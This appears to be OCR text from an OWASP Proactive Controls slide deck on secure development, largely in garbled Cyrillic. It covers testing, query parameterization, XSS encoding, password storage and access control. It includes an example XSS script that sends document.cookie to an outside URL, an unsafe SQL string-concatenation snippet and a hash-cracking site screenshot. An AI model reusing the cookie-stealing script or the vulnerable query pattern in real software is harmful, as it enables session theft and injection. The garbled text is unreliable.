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OWASP : Core Mission

@ The Open Web Application Security Project (OWASP) is a 501¢3 not-for-profit also registered

in Europe as a worldwide charitable organization focused on improving the security of
software.

@ Our mission is to make application security visible, so that people and organizations can make
informed decisions about true application security risks.

@ Everyone is welcomed to participate in OWASP and all of our materials are available under
free and open software licenses.
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OWASP Top Ten Proactive Controls v2 ... What’s new ?

@ Introducing new " proactive controls " to the Top Ten list.
©® More practical examples (show cases).

@ Alarge number of contributors from the (non-)OWASP Community.

@ Mobile contents : some best practices to consider when building mobile apps (secure
storage, authentication, etc.).
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OWASP Top Ten Proactive Controls — v2

A4 — MNpoBepATb
OEeNCTBUTENbHOCTb BCEX
BXOAHbIX AAHHbIX

Al - MNpoBepaTb A2 — cnonb3oBaTb A3 — KoanposaTb
6e30MacHOCTb 3apaHee U napameTpu3npoBaHHble OaHHble
yacTto 3anpocsl

A5 — PeanunsoBaTtb
ynpasneHue
MAEHTUDUKALMAMM U
ayTeHTUGMKaumen

A8 — PeanunsoBatb
co3ZaHue 10roB U
obHapyKeHue
NPOHUKHOBEHUM

OWASP
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A7 — ObecneunTtb
3aWUTY AaHHbIX

A6 — PeannsoBaTb
Heobxoanmoe
yrnpasieHue A0CTynom

A9 — Ucnonb3oBaTb A10 — O6paboTKa
cpeabl (Framemework) n OLWNBOK M UCKIOYEHWUI
eunbanorteku,
ycuavsatolme
6e3onacHoCTb
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C1l: MNpoBepATb BCO 6€30MacHOCTb PaHO M YacTo
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| FIND YOUR LACK OF SECURITY
TESTING

DISTURBING

memegenerator.net
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MpoBepsaTb 6e3onacHOCTb paHO K YacTo !

©® TectupoBaHMe 6e30nNacHOCTM A0/IXKHO BbiTb COCTaBHOM YacTblo paspaboTku MNO.

©® B KauyecTBe pyKkoBoacTBa Mo onpegeneHuto TpeboBaHMN K 6€30MacHOCTU M TeCTUPOBaHMUIO
MoXKHO paccmaTtpuatb OWASP ASVS.

©® [lpepnaraetcA KOHBEPTUPOBATb BbIXOAHbIE [AaHHblE CKaHMPOBAHMA B MEPEUCNOo/b3yemble

NpeBeHTMBHble cpeacTBa obecneyeHuns 6esonacHoctu (Proactive Controls), uto nossoaut
n3bexkatb Lenoro paga npobaem.
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The DevOps challenge to security ...

http://fr.slideshare.net/StephendeVries2/continuous-security-testing-with-devops

@ DevOps : continuous delivery pipeline.
©® Mature DevOps velocity is fast : build, test and deploy can be entirely automated.
@ Code is deploy to production multiple times. Examples :

= Amazon : deploy every 11.6 seconds

= Etsy : deploy 25+ times/day

= Gov.uk : deploys 30 times/day

A Agile/continuous development process can be interrupted during a sprint by security testing !
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Automated Security Testing in a Continuous Delivery Pipeline !

http://devops.com/2015/04/06/automated-security-testing-continuous-delivery-pipeline/

©® An easy approach to include security testing into continuous integration.

@ Classical/essential security tests can be automated and executed as standard unit/integration
tests.

® SecDevOps'!
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ap
BDD-Security Testing framework ’@‘

http://www.continuumsecurity.net/bdd-intro.html -Security

@

The BDD-Security framework moskeT 6biTb CKOHUrypupoBaH C WCMNOSb30BaHUEM
ectectBeHHoro Asbika (Given, When & Then ¢opmat) ana onucaHus TpeboBaHuin
6e30MacHOCTM, M BbINONAHATbL aBTOMATUYECKOE CKaHMPOBAHWME U TMOMUCK OCHOBHbIX
YA3BMMOCTEMN.

ABTOMaTHyecKoe (He)byHKLMOHaNbHOE TecTUpoBaHWe besonacHocTu!

KomMbuHMpoBaHME HECKONIbKMUX MHCTPYMEHTa/IbHbIX CpeacTB 6e30nacHOCTY:

=  OWASP ZAP, Nessus, Port Scanning v T.n.

TecTbl HanucaHbl Ha Joehave : «cueHapuit" skBuBaneHTeH Tecty, "story" skBMBaneHTHa Habopy
TecToB.

OLASH ——
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Cpepa TectuposaHusa BDD-Security

http://www.continuumsecurity.net/bdd-intro.html

[V] ABTomaTtuyeckoe ckaHupoBaHue XSS

Senario: The application should not contain Cross Site Scripting vulnerabilities
Meta: @id scan_xss

Given a fresh scanner with all policies disabled

And the attack strength is set to High

And the Cross-Site-Scripting policy is enabled

When the scanner is run

And false positives described in: tables/Talse positives.table are removed

Then no medium or higher risk vulnerabilities should be present

[Vl ABTOMaTU4ecKoe CKaHMpPOBaHWeE NPOBEPOK NONUTUK Naponeit

Senario: The application should not contain Cross Site Scripting vulnerabilities
Meta: @id auth_case

When the default user logs in with credentials from: users.table

Then the user is logged in

When the case of the password is changed

And the user logs in from a fresh login page

Then the user is no logged in

ULUJASP

Open Web Application
Security Project

OWASP.ORG




BDD-Security Testing framework

http://www.continuumsecurity.net/bdd-intro.html

[Vl TectTupoBaHMe ynpaBaeHUa J0CTYNOM

Ncnonb3yetca aHHoTauma @Restricted , utobbl onpeaennTb, Kakne NoAb30BaTENN MOTYT MMETb AOCTYN K KaKMUM

CTpaHULLIAM:
@Restricted(users = {"admin™}, sensitiveData = "User List")

public void viewUserList() {
driver.get(Config.getlnstance().getBaseUrl() + "admin/list™);

OLUASP —
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OxBaTblBaeMble pUCKU: Bce!

Al - Injection A2 — Broken
Authentication and
Session
Management

A5 — Security A6 — Sensitive Data
Misconfiguration Exposure

A9 — Using
Components with
Known
Vulnerabilities

@ ouriso

A3 — Cross-Site
Scripting (XSS)

A7 — Missing
Function Level
Access Control

A10 — Unvalidated
Redirects and
Forwards

A4 —Insecure
Direct Object
References

A8 — Cross-Site
Request Forgery

OWASP.ORG
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Power of SQL Injection ...

HI SLUTTY SALLYY NONE OF
WHICH GUYS HAVE YOUR
YOU SLEPT WITH? BUSINESS!

ADAM ERIC LUKE SEAN

ALAN GEORGE MAX STEVEN
ALEX GREY  MILES TAILOR
BOBBY T HAYDEN NATHANIEL TRAVIS
CAM NICK . R
CHRI
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CunnbHbIWM NAPONb...

v’ Upper

v’ Lower
S G =P8 / Number

v’ Special

v/ Over 16 characters
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SQL Injection

Yassumoe ucnosb3osaHue

String newName = request.getParameter(*'newName');

String id = request.getParameter(*'id"™);

String query = ' UPDATE EMPLOYEES SET NAME='+ newName + ' WHERE 1D ="+ id;
Statement stmt = connection.createStatement();

|Z[ be3sonacHoe ucnonb3oBaHue

//SQL

PreparedStatement pstmt = con.prepareStatement("'UPDATE EMPLOYEES SET NAME = ? WHERE ID = ?')
pstmt.setString(l, newName);

pstmt.setString(2, id);

//HQL

Query safeHQLQuery = session.createQuery(*"from Employees where id=:empld™);
safeHQLQuery.setParameter(‘'empld’, id);

ULUJASP

Open Web Application
Security Project
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OxBaTbiBaeMble PUCKMU

Al - Injection

DJASP o
>, : Open Web Application

Security Project




C3: KoamMpoBaHue AaHHbIX Nepes ux NCrnosb3oBaHUEM Napcepom
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AHaTommAa XSS-ataku

@ Araka 1 : Kparka cookie

<script>

var badURL="https://owasp.org/somesite/data=" + document.cookie;
var img = new Image();

img.src = badURL;

</script>

@ Attack 2 : uckaxkeHme Beb-caira

<script>document.body. innerHTML="<blink>G0O OWASP</blink>";</script>

@ ownAsp —
Open Web Application
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XSS-ataka : npobnema & peweHune

NMpobnema

©® Beb-cTpaHunua ysssmma ans XSS |

[V] PeweHue

OWASP Java Encoder Project
OWASP Java HTML Sanitizer Project

= Microsoft Encoder and AntiXSS Library

OLUASP —
A Open Web Application

Security Project




Microsoft Encoder n AntiXSS 6ubamnoTeka

=

C | @ https://wpl.codeplex.com/SourceControl/latest#trunk/Microsoft.Security.Application.Encoder/AntiXSS.cs ‘,

@ System.Web.Security. AntiXSS
Microsoft.Security.Application. AntiXSS

©

HOME

©® MoxeT wucnonb3oBaTbCcs AnAa  KogumpoBaHuA .. ..,
HTML, HTML-atpubyTos, XML, CSS 1 JavaScript. T er—

@ Native .NET 6ubnunoteka
CnnbHaA 1 xopoLwo HannucaHHaa bubanoTteka

@ For use in your User Interface code to defuse
script in output

©

- trunk

» Documentation

w Microsoft.Security.Application ﬁ ‘

» CodeCharts
» Properties

CodeCharts.cs
E88encoder.cs
Encoder.cs

EncoderUtil.cs
GlobalSuppressions.cs
HtmlParameterEncoder.cs
Lazy.cs

LdapEncoder.cs

COdePIEX Project Hosting for Open Source Software

Microsoft Web Protection Library

DOWNLOADS DOCUMENTATION
&2 Connect
AntiXSS.cs

Register | [/ €5S

DISCUSSIONS

1SSUES PEOPLE

3Z Upload Patch | %) Download | s Follow

Compare with other versions: \E

e e e e A e L B R R e S R S
// <copyright file="AntiXS5.cs" company="Microsoft Corporation”>
/! Copyright (c) 28@8, 2809, 2018 All Rights Reserved, Microsoft Corporation

This source is subject to the Microsoft Permissive License.

// Please see the License.txt file for more information.

/f  All other rights reserved.

//  THIS CODE AND INFORMATION ARE PROVIDED "AS IS" WITHOUT WARRANTY OF ANY
/f  KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE
/f  IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A

/f  PARTICULAR PURPOSE.

/I </copyright>
/1 <summary>

/f  Performs encoding of input strings to provide protection against
" Cross-Site Scripting (XSS) attacks in various contexts.

ULUJASP

Open Web Application
Security Project

OWASP.ORG




OWASP Java Encoder Project

https://www.owasp.org/index.php/OWASP Java Encoder Project

©® Het HeobxoaumocTn B 61bnoTeKkax TpeTbMX CTOPOH MU KOHPUIypaLmnm

©

[aHHbIM Kog, 6bin pa3paboTaH C y4eTOM BbICOKOM AOCTYMHOCTU U BbICOKOM
NPOU3BOAUTENbHOCTM KOAMPOBAHMA

MpocTtasn drop-in $pyHKLUMOHANbHOCTb KOAMPOBAHUS
MpoeKTMpoBaHMeE C y4ETOM NMPOU3BOAUTENBHOCTU
Bo mHorom 6osee nonHbivi APl (kogmposaHue URI u komnoHeHTos URI u T.0.).

© © © 0

CoBmecTtumocTsb : Java 1.5+
©® Tekywas sepcua 1.2

@ NocneaHee nsmeHenne 2015-04-12:
https://github.com/OWASP/owasp-java-encoder/

U | d rll S r-) OWASP.ORG
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OWASP Java Encoder Project

https://www.owasp.org/index.php/OWASP Java Encoder Project

[Vl HTML Contexts [Vl CSS Contexts
Encode#forHtml Encode#forCssString
Encode#forHtmlContent Encode#forCssuUrl

Encode#forHtmlAttribute
Encode#forHtmlUnquotedAttribute

[V] Javascript Contexts

[Vl XML Contexts Encode#forHtml
Encode#forHtmlContent

Encode#forXml Encode#forHtmlAttribute

Encode#forXmlContent Encode#forHtmlUnquotedAttribute

Encode#forXmlAttribute

Encode#forXmlComment

Encode#forCDATA M URI/URL Contexts
Encode#foruri

Encode#forUriComponent

OLUASP —
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Llpyrue pecypcobl

©® Ruby on Rails :

http://api.rubyonrails.org/classes/ERB/Util.html

© PHP:

http://twig.sensiolabs.org/doc/filters/escape.html
http://framework.zend.com/manual/2.1/en/modules/zend.escaper.introduction.html

@ Java/Scala (Updated January 2015) :

https://www.owasp.org/index.php/OWASP Java Encoder Project

©® .NET AntiXSS Library (v4.3 NuGet released June 2, 2014) :

http://www.nuget.org/packages/AntiXss/

@ GO:

http://golang.ora/pka/html/template/

©® Reform project
https://www.owasp.org/index.php/Cateqgory:OWASP Encoding Project

OLASP ——
» Open Web Application
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Llpyrue pecypcobl

@ LDAP Encoding Functions :
» ESAPIland .NET AntiXSS

©® Command Injection Encoding Functions :
= Careful here !
= ESAPI

@ XML Encoding Functions :
= OWASP Java Encoder

©® Encoder comparison reference :
http://boldersecurity.github.io/encoder-comparison-reference/

OLUASP —
A Open Web Application
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OxBaTbiBaeMble PUCKMU

A3 — Cross-Site
Scripting (XSS)

Al - Injection
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Illl!. YOU DON'T JUST RELY ON
(T-SIDE/INPUT\VALIDATION

i

|
JAVASCRIPT CAN BE DISABLED FFS!
img flip.com =

@ ownAsp —
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OWASP HTML Sanitizer Project

https://www.owasp.org/index.php/OWASP Java HTML Sanitizer Project

©® HTML Sanitizer HanucaH Ha Java which lets you include HTML authored by third-parties in your
web application while protecting against XSS.

@ Written with security best practices in mind, has an extensive test suite, and has undergone
adversarial security review

https://code.google.com/p/owasp-java-html-sanitizer/wiki/AttackReviewGroundRules.

@ [Mpocras nporpammupyeman koHdurypauma nonmtnkm POSITIVE. Het XML config.
©® 370 Kopg ot Caja project that was donated by Google's AppSec team.
® High performance and low memory utilization.

OLUASP —
Open Web Application

Security Project



Caja

. Caja (pronounced /'ka:ha:/ kAH-hah)i agnseTca npoektom Google n peanusosaH Ha JavaScript gns "virtual iframes" ,
OCHOBAHHbIX Ha NnpuHumMnax object-capabilities. Caja ucnonbayet JavaScript (a umenHo, ECMAScript 5 strict mode
Kog), HTML u CSS B KauecTBe BXOAHbIX A@aHHbIX U 3anuncbiBaeT ux B 6esonacHoe nogmHoxkectso HTML m CSS, natoc

efAvHcTBeHHan dyHKuma JavaScript 6es free variables. 3To o3HayaeT, YTo eAMHCTBEHHO, KOraa GYyHKLMUA MOXKET
MoAMdMLMPOBATL OOBEKT, €C/IM CYLLECTBYET CCbIIKa Ha 06BEKT CO CTPaHMLbI. BMecTo npegoctaBneHns NPAMbIX CCbI/IOK Ha
06bekTol DOM, cTpaHuua obbl4HO NpeaocTaBaseT CCbiIkM K Wrappers, kotopble ounwatotr HTML, npoken URLS, u
NpeaoTBPaLLAOT NepeHanpaBaeHue CTPaHuLbl; 3To no3sonseT Caja npeaoTspaTUTb ocHOBHbIE Phishing aTakw,
npeaoTBpaTUTh Cross-site scripting ataku, n NnpeaoTBpaTMTL 3arpy3ky malware. Takxe, Tak Kak Bce nepenucaHHble

NporpaMmmsbl BbINOAHAOTCA B 6e3onacHoOM dppeinme, CTpaHMLLA MOXKET NO3BO/IUTb OAHOM NPOrpamme 3KCNOPTUPOBATL CCbINKY
Ha 0ObEKT ANA APYron NPorpaMmbl; TaKoe BHYTPUPpPeNMOoBOe B3aUMOAENCTBME ABNAETCA NPOCTO BbI3OBOM METOAa.

. The word "caja™ is Spanish for "box" or "safe" (as in a bank), the idea being that Caja can safely contain JavaScript programs
as well as being a capabilities-based JavaScript.

e Cajais currently used by Google in its Orkut,[2 Google Sites,’8l and Google Apps Script!*! products; in

2008 MySpacelIll and Yahoo![™ and Allianz had both deployed a very early version of Caja but later abandoned it.
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OWASP HTML Sanitizer Project

https://www.owasp.org/index.php/OWASP Java HTML Sanitizer Project

[Vl NMpumep ucnonbsosanua: validate img tags

public static final PolicyFactory IMAGES = new HtmlPolicyBuilder()
-allowUrlProtocols('http™, "https'™).allowElements(*'img')
-allowAttributes(alt", "src'").onElements(*'img')
-allowAttributes(*'border™, "height", "width'™).matching(INTEGER)
-onElements(*"img'™)

-toFactory();

[Vl Npumep ncnonb3osanus: validate link elements

public static final PolicyFactory LINKS = new HtmlPolicyBuilder()
-allowStandardUrlProtocols() .allowElements(*a')
-allowAttributes('href'™) .onElements(*'a") . requireRelNofol lowOnLinks()
-toFactory();

OLUASP —
; Open Web Application
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Llpyrue pecypcobl

© Pure JavaScript, client side HTML Sanitization with CAJA!

http://code.google.com/p/google-caja/wiki/JsHtmlISanitizer
https://code.qgoogle.com/p/google-caja/source/browse/trunk/src/com/google/caja/plugin/html-sanitizer.js

© Python
https://pypi.python.org/pypi/bleach
© PHP

http://htmlpurifier.org/

http://www.bioinformatics.ora/phplabware/internal_utilities/htmLawed/

© .NET (v4.3 released June 2, 2014)
© AntiXSS.getSafeHTML/getSafeHTMLFragment

http://www.nuget.org/packages/AntiXss/
https://github.com/mganss/HtmlISanitizer

@ Ruby on Rails

https://rubygems.org/gems/loofah

http://api.rubyonrails.org/classes/HTML .html
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3arpy3Kka ¢annos

7

7

Mposepka Upload
=  [lpoBepKa MMeHu daiia n paamepa + aHTUBUPYC

XpaHeHwne 3arpy»eHHbIx ¢pannos
"  cnonb30BaTb TO/IbKO MPOBEPEHHbIE MMeHa $annoB + OTAENbHbIA AOMEH

CnepyeT onacatbca «cneumanbHbix' dpannos
= "crossdomain.xml" uan "clientaccesspolicy.xml".

MpoBepKa 3arpyaembix N306paskeHuni
=  OrpaHuyeHne pasmepa M3obpaxKeHus
"  lcnonb3oBaHWe BUBIMOTEK Nepe3anmcbiBaeMbiX M306paXKeHuMI
"  YCTaHOBWTb pacLUMPEHME XPaHMMOTO N306paXKeHNs B AeNCTBMTE/IbHOE pacluMpeHme M30bparkeHuns
*  [apaHTMpOBaTb onpeAeneHue TUNa CoAEPHMMOro B U306paxeHnm

Ob6uas npoBepKa 3arpyrkaemomn MHbopmaumm
= [apaHTMpOBaTb, YTO pPa3mep AeKOMMpeccupBaHHOro daina < MakCMManbHOro pasmepa
*  [apaHTMpPOBaTb, YTO 3arpy*KaemMblii apxX1MB COOTBETCTBYET OXKMAaemomy Tuny (zip, rar)
*  [apaHTMpOBaTb, YTO CTPYKTYPMpPOBaHHbIE 3arpy3ku, Takue Kak add-on, cooTBeTcTByIOT CTaHAAPTY

UWASP OWASP.ORG

Open Web Application
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OxBaTbiBaeMble PUCKMU

A3 — Cross-Site
Scripting (XSS)

Al - Injection
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C5: BbinonHeHUe ayTeHTUPUKALMM U YyIIPAB/IEHNE
naoeHTUPUKaunamm
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B3nom naponsa

Mg

ASHIILLER.CO-HK iy

MD5 //SHAIO/ NTLM ONLINE'DATABASE ! S oo o ) ¥

Home  Forums  Decrypter/Gracker = ListsandCompettion =~ HashaPassword | ListTool =~ TextEncryption = [Bin Transiator -
HashcatGUI ~ Downloads ~
HashKiller.co.uk allows you to Input an MDS hash and search for its decrypted state In our database, basically, it's a MDS cracker /
decryption tool.
How many decryptions are in your database?
We have a total of just over 43.745 billion unique decrypted MDS hashes since August 2007.

Please input the MD5 hashes that you would like to be converted into text / cracked / decrypted. NOTE that space character Is replaced with
[space]:

Please note the password Is after the : character, and the MD5 hash is before it.

Status:

voiion results will be displayed in
MD5 4 i + Please use the t the left to
Hashes: 97 s : WEe briiesiyos s o |

Max: 64

Please usa a
standard list
format

An online password cracking service for penetration testers and
network auditors who need to check the security of WPA protected
wireless networks, crack password hashes, or break document
encryption.

Start Cracking
Fle Typo

Handshaks Fie No e chosen

S—
pr—
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Haunyywme npakTUKK ynpaBaeHna naposismm

1) He orpaHuumMBaTh TMN CUMBO/IOB MU OJIVHY NAPO/A NO/b30BaTeNA MO C/1eAYOLWUM
npUYnMHam

©® OrpaHunyeHne naponen Ans 3alWmTbl OT aTaK NPOHUKHOBEHUA 06peyYeHo Ha Heyaady
©® BmecTo 3TOrO CNEAyeT MCNONb30BaTh KOPPEKTHOE AEKOAMPOBaHME U Apyrne cnocobbl 3aLnThl

© Cneayet 6bITb OCTOPOXKHBIM C CUCTEMaMM, KOTOPbIE AOMYCKAOT HEOrPaHUYEHHbIN pa3mep naponem
(Django DOS Sept 2013)

U | d rll S r-) OWASP.ORG
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Haunyywme npakTUKK ynpaBaeHna naposismm

2) Ucnonb3oBaTb KpunTorpapuuecku CUIbHyIo cneuuduuHyo Ana KpeaeHuumana salt
© protect( [salt] + [password] );
© MWcnonbsosatb 32char nnu 64char salt (peanbHbilt pasmep 3aBUCUT OT 3alLMLIatOWEN QYHKUNN);

©® He cneayet nonaraTbCs Ha COKPbITME, pacllenaeHne namn apyrue cnocobbl 3anyTbiaHma salt

OLUASP —
Open Web Application

Security Project




Haunyywme npakTUKK ynpaBaeHna naposismm

3a) HaBA3bIBaTb TPYAHYIO NPOBEPKY KaK A1 aTaKyloLWero, TaK U 418 NpoBepAloLLeii CTOPOHDI
© PBKDF2([salt] + [password], c=140,000);

@ MWcnonb3osaTtb PBKDF2 ¢ FIPS —ceptudpuraumeir nnm Koraa tpebyetca nogaepxka Ha MHOMMX
nnatpopmax

© Cneayet ucnonb3oBatb SCrypt, ecav annapaTtypa npensTcTByeT ObICTPbIM aTakam, HO He
noaaep:kmeateTca macwTtabuposaHue. (berypt is also a reasonable choice)

OLUASP —
; Open Web Application

Security Project




Haunyywme npakTUKK ynpaBaeHna naposismm

3b) HaBA3bIBaTb TPYAHYIO NPOBEPKY TOJIbKO ANA aTaKyHOLWEero
©® HMAC-SHA-256( [private key], [salt] + [password] )
© 3awmwaTb AaHHbIA KUY TaKKe KaK 3aKpbITbI KAKO4Y, UCMO/b3YA AyYdLLMe NPaKTUKK
©®  XpaHuUTb KNtOY BHE XpaHUAULLA KpeaeHLUnanoB

@ BbinonHWUTb NpeobpasoBaHMe Napo/A B X3l B BUAE OTAENbHOIO Beb-cepBuca (Kpmuntorpadpuyecku
N30/IMPOBAHHOIO).

OLASH ——

Open Web Application
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M cHOBA... nAeanbHbIM naposb!

v’ Upper

v Lower
Passwordl! v/ Number

v’ Special

v/ Over 8 characters

OLUASP —
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Mcnonb3oBaThb ydllne NPaKTUKK ayTeHTUDUKALMM NO/Ib30BaTeNS

©® Wcnonb3oBatb 2 MAEHTUDUKALMOHHBIX BONPOCA
= damunus, Homep akkayHTta, email, DOB
=  (Ob6ecne4ynTb NOANTUKY BNOKMPOBKM

© 3apaBaTb HECKO/IbKO BOMPOCOB, OTHOCALLMXCA K 6e3onacHoCcTU

https://www.owasp.org/index.php/Choosing and Using Security Questions Cheat Sheet

©® [ocblNaTb NONb30BATENIO CNYYaNHO CFTEHEPUPOBAHHbI TOKEH MO BHELHEMY KaHany
= app, SMS naun token

@ MposepaTb Ko Verify code B Beb-ceccum
= Obecneuyntb NOANTUKY BNOKMPOBKMK

©® W3meHATb Naponb

= Obecneuyntb NOAUTUKY U3MEHEHUA NAPONS

OLUASP —
Open Web Application

Security Project




Jlydwine NpakTUKKU ayTeEHTUPUKALMKU MNONb30BaATENA — peasibHble MPUMEpPDbI

Primary email: (s) jim@manico.net Change E-mail

Use the form below to change the e-mail address for your Amazon.com account. Use the new

: ; address next time you log in or place an order.
New Email: facebook@manico.net
What is your new e-mail address?
Oid e-mail address: jim@manico.net
Facebook email: jmanico@facebook.com i
! : ; . : New e-mail address: |
Your Facebook email is based on your public username. Email sent to this

address goes to Facebook Messages. Re-enter your new e-mail address: |

[_] Allow friends to include my email address in Download Your Password:
Information

To save these settings, please enter your Facebook password.

Passwaord: $& Wrong password.,

Cancel

Save account changes

Re-enter your Twitter password to save changes to

Change Your Email Address

. 41 F F t d?
Current email: jim@manico.net orgot your passwor

New email Meetup password Gancel e

[ suomn SR

Forgot your password?

UWASP OWASP.ORG

Open Web Application
Security Project




Llpyrue pecypcobl

©® Authentication Cheat Sheet

https://www.owasp.org/index.php/Authentication Cheat Sheet

© Password Storage Cheat Sheet

https://www.owasp.org/index.php/Password Storage Cheat Sheet

© Forgot Password Cheat Sheet

https://www.owasp.org/index.php/Forgot Password Cheat Sheet

©® Session Management Cheat Sheet

https://www.owasp.org/index.php/Session _Management Cheat Sheet

©® ASVS AuthN and Session Requirements
® Obviously, Identity is a BIG topic !
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OxBaTbiBaeMble PUCKMU

A2 — Broken
Authentication and

Session
Management
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C6: Peanunszaumsa Heobxoammoro ynpaBaeHna A0CTYNOM
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THAT: Escnumn ulucluvﬂ '

memes'com
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[Mpnmepbl NIOXOro yrnpassieHUA 40CTYNOM

YecTKo BCTpOeHHas B NPUKNAAHOM KOA NPOBEPKa Poau
HeaocTaToK, CBA3aHHbIN C IOTMKOM LEHTPAIM30BaHHOIO yNpaBaeHusa A0CTYNoM
HepoBepaemble AaHHble, HA OCHOBE KOTOPbIX NPUHUMAETCA PeLleHMe No ynpaBAeHMo AOCTYNOM

YnpaBneHue AOCTYNOM, KOTOpoe “OTPbITO MO YMOAYaHUIO”

© © © © ©

HenocTaToK, CBA3aHHbIV C FOPU30OHTa/IbHBIM YNPABNEHNEM AOCTYNOM B CTAHAAPTHOM C/lyyae (ec/iv He BO
BCEX)

©

Jloruka ynpaBneHus goCTynom, KOTOPYH HeEObXo4MMO BPYYHYIO A06aBNATb B KaXKAy TOYKY Koda
YnpaBneHue AOCTYyNnom, KoTopoe “npuannaer”’ K ceccuu

YnpasneHue A0CTYNom, KOTopoe TpebyeT OTae/IbHOM NOAUTUKKU ANA KaXKA0ro Nosib3oBartens

U | )d r-l (3 !.-J OWASP.ORG

Open Web Application
Security Project




CpaBHeEHMEe BEPTUKA/IbHOIO U FOPU30HTA/IbHOIO YrPaBAEHMUS
NOCTYMOM

e BepTuKanbHOE ynpaB/eHne A0CTYNOM: pa3peLlaTb Pas/IMYyHbIM TUNAM
Nonb3oBaTesien AOCTYN K PasANYHbIM GYHKLMAM NPUIONKEHUS

=>» co3aaHue rpaHnLbl mexxay 0bbl4HbIMM MOb30BaTENAMM U aAMUHUCTPATOPaMM

e [OpM30OHTa/IbHOE ynpaBAeHue AOCTYNOM: pa3peLlaTb NoAb30BaTENAM
JOCTYN K onpeaeneHHoOMY NOAMHOMECTBY U3 LUMPOKOro AMana3oHa
pecypcoB onpeae/sieHHOro TMna

=> NPUAoKEHME Beb-NOoUTbl MOMKET pa3peLlnTb Bam YMTaTb CBOKO COBCTBEHHYIO NOYTY, HO HE YblO-TO
elle; Bbl MOXeTe BUAETb TO/IbKO CBOU COBCTBEHHbIE AETan

OLUASP —
; Open Web Application

Security Project




RBAC (Role based access control)

MpoBepKKn ponu, }KecTKo 3almTblie B Ko,

iT (user.hasRole(*ADMIN'™)) || (user.hasRole(*'"MANAGER'™)) {
deleteAccount();
}

[Vl RBAC

iT (user.hasAccess(""'DELETE_ACCOUNT'")) {
deleteAccount();
3

OLUASP —
s Open Web Application

Security Project




ASP.NET Roles vs aBTopusauusa Ha ocHose TpeboBaHuit (Claims
Authorization)

Role Based asTopusauus

[Authorize(Roles = ""Jedi', "Sith")]
public ActionResult WieldLightsaber() {
return View();

}

Claim Based asTopusauus

[ClaimAuthorize(Permission=""CanWieldLightsaber')]
public ActionResult WieldLightsaber()

{

return View(Q);

}

OLUASP —
; Open Web Application

Security Project




Claims-Based aBTopusauus

* [lpu co3aaHnn naeHTUPUKaummn c Heit MoxeT bbiTb CBA3aHO OAHO MU HECKO/IbKO
TpeboBaHUI, CO3AaHHbIX A4OBEPEHHOW CTOPOHOM. TpeboBaHMe ABseTcA Nnapok (Mms,
3HayeHMe), COOTBETCTBYET TOMY, KEM AABNAETCA CYOBEKT, HO HE YTO MOXKET AeNaTb
cybbeKT. Hanpumep, moxHo nmeTb Drivers License, BbinyLeHHY0 10KaabHbIM
YNO/IHOMOY€EHHbIM OPraHOM AaWBMHIA. ITa NIMLUEH3UA COAEPKUT Bally AATy POXKAEHMUS.
B atom cnyyae umsa Tpebosanua 6yaet DateOfBirth, sHaueHne TpebosaHma byaeT aata
poxkaeHua, Hanpumep, 8th June 1970 n ynonHoMoueHHbI opraH, co3a4aBLUniA
NNuUeH3uno. ABTopm3auma, OCHOBaHHas Ha TpeboBaHMAX, B MPOCTENLLEM CAYYae,
npoBepsieT 3HayeHne TpeboBaHMA N pa3peLlaeT AOCTYN K pecypcy Ha OCHOBe AaHHOro
3HaueHusA. For example if you want access to a night club the authorization process
might be:1

« The door security officer would evaluate the value of your date of birth claim and
whether they trust the issuer (the driving license authority) before granting you access.

e  NaeHTUPMKALUA MOXKET COAEPKaTb HECKO/IbKO TPEOOBAHUI C HECKONIbKUMMU
3HAYEHUAMM N MOXKET COAeP’KaTb HECKO/IbKO TpeboBaHUIN HEKOTOPOTro TMNa.
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Ynpas/sieHne AoCTynom, OCHOBaHHOeE Ha pa3speweHuax Apache
S h i ro - APACHE
g* SHIRO
T4

http://shiro.apache.org/

[Vl MposepKa, MeeT M TeKyLL,ee UCNO/Ib30BaHUE ONpPeAeNeHHYIO POb UM HET:

iT ( currentUser_hasRole( "schwartz" ) ) {
log.info("'"May the Schwartz be with you!" );
} else {

log.info( "Hello, mere mortal." );
}

OLUASP —
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Apache Shiro Permission Based Access Control ’g*"ﬁﬁ.po
-

http://shiro.apache.org/

|Z[ MposepkKa, umeet nun TEKYI.I.I,MI7I nosb30BaTe/ib pa3peLwueHune AEVlCTBOBaTb KaK CYyWHOCTb onpeaeneHHoro tmna

iT ( currentUser.isPermitted( "lightsaber:wield" ) ) {
log.info(""You may use a lightsaber ring. Use it wisely.');

} else {

log.info("Sorry, lightsaber rings are for schwartz masters only.');
}

OLUASP —
; Open Web Application

Security Project




Apache Shiro Permission Based Access Control ’g*"ﬁﬁ.po
-

http://shiro.apache.org/

[Vl Mposepka, MeeT M TEKYLLMiI1 NoNAb30BaTeNb AOCTYN K ONpeAeneHHOMY 3K3eMNAApy TMNa:
nNpoBepKa pa3peLleHnsa Ha YPOBHE 3K3emnaapa

iT ( currentUser.isPermitted( "winnebago:drive:eagle5"™ ) ) {
log.info("You are permitted to "drive" the "winnebago® with license plate (id) "eagle5". " +
"Here are the keys - have fun!™);

} else {

log.info("Sorry, you aren"t allowed to drive the "eagle5" winnebago!');
}

OLUASP —
s ; Open Web Application
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OxBaTbiBaeMble PUCKMU

A7 — Missing
Function Level
Access Control
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C7: 3awuTa gaHHbIX
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LLiIndpoBaHMe AaHHbIX NPU Nepeaaymn

Kakue npenmyuiectsa obecneymaet HTTPS?

©® KoHdnaeHuManbHOCTb: HapyLWKTENb HE MOXKET NPOCMaTPUBaTL BallM AaHHbIe
©® LUenoctHoCTb: HapywmnTenb He MOXKET U3MEHUTb BalUM AaHHble

© AyTteHTUdMKaumsa: Mocewaemblit cepep TOT, KOTOPbIN HYXKeH
©

BbicoKkaa npoussoguten bHOCTb!

Jlyywine npumepbl KoHPUrypuposanuma HTTPS

https://mwww.owasp.org/index.php/Transport Layer Protection Cheat Sheet

https://www.ssllabs.com/projects/best-practices/

OLUASP —
Open Web Application

Security Project




LLiIndpoBaHMe AaHHbIX NPU Nepeaaymn

@  HSTS (Strict Transport Security)
http://www.youtube.com/watch?v=zEV3HOuUM Vw

© Forward Secrecy

https://whispersystems.org/blog/asynchronous-security/

@ Certificate Creation Transparency
http://certificate-transparency.org

© Certificate Pinning

https://www.owasp.org/index.php/Pinning Cheat Sheet

@ Browser Certificate Pruning
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LLindpoBaHuMe aaHHbIX Npun nepeaaun: HSTS (Strict Transport Security)

http://dev.chromium.org/sts

©

©

